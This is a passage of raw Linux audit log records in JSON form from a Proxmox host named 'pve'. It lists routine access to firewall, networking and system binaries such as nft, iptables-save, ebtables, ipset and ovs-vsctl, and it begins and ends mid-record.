name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071855,"@rawstring":"node=pve type=PATH msg=audit(1781965071.855:63980): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071851,"@rawstring":"node=pve type=PATH msg=audit(1781965071.851:63979): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071851,"@rawstring":"node=pve type=PATH msg=audit(1781965071.851:63979): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071851,"@rawstring":"node=pve type=PATH msg=audit(1781965071.851:63979): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071840,"@rawstring":"node=pve type=PATH msg=audit(1781965071.840:63978): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071840,"@rawstring":"node=pve type=PATH msg=audit(1781965071.840:63978): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=PATH msg=audit(1781965071.836:63977): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=PATH msg=audit(1781965071.836:63977): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=PATH msg=audit(1781965071.836:63977): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071836,"@rawstring":"node=pve type=PATH msg=audit(1781965071.836:63976): item=0 name=\"/usr/bin/ovs-vsctl\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071832,"@rawstring":"node=pve type=PATH msg=audit(1781965071.832:63975): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071832,"@rawstring":"node=pve type=PATH msg=audit(1781965071.832:63975): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071832,"@rawstring":"node=pve type=PATH msg=audit(1781965071.832:63975): item=0 name=\"/usr/lib/open-iscsi/net-interface-handler\" inode=290825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071827,"@rawstring":"node=pve type=PATH msg=audit(1781965071.827:63973): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071827,"@rawstring":"node=pve type=PATH msg=audit(1781965071.827:63973): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071822,"@rawstring":"node=pve type=PATH msg=audit(1781965071.822:63972): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071822,"@rawstring":"node=pve type=PATH msg=audit(1781965071.822:63972): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PATH msg=audit(1781965071.686:63971): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PATH msg=audit(1781965071.686:63971): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PATH msg=audit(1781965071.686:63970): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071686,"@rawstring":"node=pve type=PATH msg=audit(1781965071.686:63969): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PATH msg=audit(1781965071.678:63968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PATH msg=audit(1781965071.678:63968): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PATH msg=audit(1781965071.678:63967): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071678,"@rawstring":"node=pve type=PATH msg=audit(1781965071.678:63966): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071644,"@rawstring":"node=pve type=PATH msg=audit(1781965071.644:63965): item=0 name=\"\" inode=4348 dev=00:1a mode=0100444 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071642,"@rawstring":"node=pve type=PATH msg=audit(1781965071.642:63964): item=0 name=\"\" inode=733 dev=00:06 mode=060660 ouid=0 ogid=6 rdev=fc:06 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071640,"@rawstring":"node=pve type=PATH msg=audit(1781965071.640:63963): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071640,"@rawstring":"node=pve type=PATH msg=audit(1781965071.640:63963): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071640,"@rawstring":"node=pve type=PATH msg=audit(1781965071.640:63963): item=0 name=\"/usr/lib/udev/vdev_id\" inode=263837 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071636,"@rawstring":"node=pve type=PATH msg=audit(1781965071.636:63962): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071636,"@rawstring":"node=pve type=PATH msg=audit(1781965071.636:63962): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071636,"@rawstring":"node=pve type=PATH msg=audit(1781965071.636:63962): item=0 name=\"/usr/libexec/qemu-server/pve-bridgedown\" inode=310594 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071631,"@rawstring":"node=pve type=PATH msg=audit(1781965071.631:63961): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965071631,"@rawstring":"node=pve type=PATH msg=audit(1781965071.631:63961): item=0 name=\"/usr/sbin/dmsetup\" inode=265309 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066669,"@rawstring":"node=pve type=PATH msg=audit(1781965066.669:63960): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066669,"@rawstring":"node=pve type=PATH msg=audit(1781965066.669:63960): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066668,"@rawstring":"node=pve type=PATH msg=audit(1781965066.668:63959): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066668,"@rawstring":"node=pve type=PATH msg=audit(1781965066.668:63958): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=PATH msg=audit(1781965066.663:63957): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=PATH msg=audit(1781965066.663:63957): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066663,"@rawstring":"node=pve type=PATH msg=audit(1781965066.663:63956): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965066662,"@rawstring":"node=pve type=PATH msg=audit(1781965066.662:63955): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065700,"@rawstring":"node=pve type=PATH msg=audit(1781965065.700:63954): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065700,"@rawstring":"node=pve type=PATH msg=audit(1781965065.700:63954): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PATH msg=audit(1781965065.695:63953): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PATH msg=audit(1781965065.695:63953): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PATH msg=audit(1781965065.695:63952): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PATH msg=audit(1781965065.695:63952): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065695,"@rawstring":"node=pve type=PATH msg=audit(1781965065.695:63951): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065686,"@rawstring":"node=pve type=PATH msg=audit(1781965065.686:63950): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065686,"@rawstring":"node=pve type=PATH msg=audit(1781965065.686:63950): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065686,"@rawstring":"node=pve type=PATH msg=audit(1781965065.686:63950): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065673,"@rawstring":"node=pve type=PATH msg=audit(1781965065.673:63949): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065673,"@rawstring":"node=pve type=PATH msg=audit(1781965065.673:63949): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065660,"@rawstring":"node=pve type=PATH msg=audit(1781965065.660:63948): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065660,"@rawstring":"node=pve type=PATH msg=audit(1781965065.660:63948): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065643,"@rawstring":"node=pve type=PATH msg=audit(1781965065.643:63947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065643,"@rawstring":"node=pve type=PATH msg=audit(1781965065.643:63947): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065632,"@rawstring":"node=pve type=PATH msg=audit(1781965065.632:63946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065632,"@rawstring":"node=pve type=PATH msg=audit(1781965065.632:63946): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065626,"@rawstring":"node=pve type=PATH msg=audit(1781965065.626:63944): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065626,"@rawstring":"node=pve type=PATH msg=audit(1781965065.626:63944): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065619,"@rawstring":"node=pve type=PATH msg=audit(1781965065.619:63943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065619,"@rawstring":"node=pve type=PATH msg=audit(1781965065.619:63943): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065609,"@rawstring":"node=pve type=PATH msg=audit(1781965065.609:63942): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065609,"@rawstring":"node=pve type=PATH msg=audit(1781965065.609:63942): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065599,"@rawstring":"node=pve type=PATH msg=audit(1781965065.599:63941): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065599,"@rawstring":"node=pve type=PATH msg=audit(1781965065.599:63941): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065592,"@rawstring":"node=pve type=PATH msg=audit(1781965065.592:63940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065592,"@rawstring":"node=pve type=PATH msg=audit(1781965065.592:63940): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065582,"@rawstring":"node=pve type=PATH msg=audit(1781965065.582:63939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065582,"@rawstring":"node=pve type=PATH msg=audit(1781965065.582:63939): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065567,"@rawstring":"node=pve type=PATH msg=audit(1781965065.567:63938): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065567,"@rawstring":"node=pve type=PATH msg=audit(1781965065.567:63938): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065554,"@rawstring":"node=pve type=PATH msg=audit(1781965065.554:63937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065554,"@rawstring":"node=pve type=PATH msg=audit(1781965065.554:63937): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065550,"@rawstring":"node=pve type=PATH msg=audit(1781965065.550:63936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065550,"@rawstring":"node=pve type=PATH msg=audit(1781965065.550:63936): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065543,"@rawstring":"node=pve type=PATH msg=audit(1781965065.543:63935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065543,"@rawstring":"node=pve type=PATH msg=audit(1781965065.543:63935): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=PATH msg=audit(1781965065.542:63934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=PATH msg=audit(1781965065.542:63934): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065542,"@rawstring":"node=pve type=PATH msg=audit(1781965065.542:63933): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065530,"@rawstring":"node=pve type=PATH msg=audit(1781965065.530:63932): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065530,"@rawstring":"node=pve type=PATH msg=audit(1781965065.530:63932): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065530,"@rawstring":"node=pve type=PATH msg=audit(1781965065.530:63932): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065516,"@rawstring":"node=pve type=PATH msg=audit(1781965065.516:63931): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065516,"@rawstring":"node=pve type=PATH msg=audit(1781965065.516:63931): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065501,"@rawstring":"node=pve type=PATH msg=audit(1781965065.501:63930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065501,"@rawstring":"node=pve type=PATH msg=audit(1781965065.501:63930): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065491,"@rawstring":"node=pve type=PATH msg=audit(1781965065.491:63929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065491,"@rawstring":"node=pve type=PATH msg=audit(1781965065.491:63929): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065476,"@rawstring":"node=pve type=PATH msg=audit(1781965065.476:63928): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965065476,"@rawstring":"node=pve type=PATH msg=audit(1781965065.476:63928): item=0 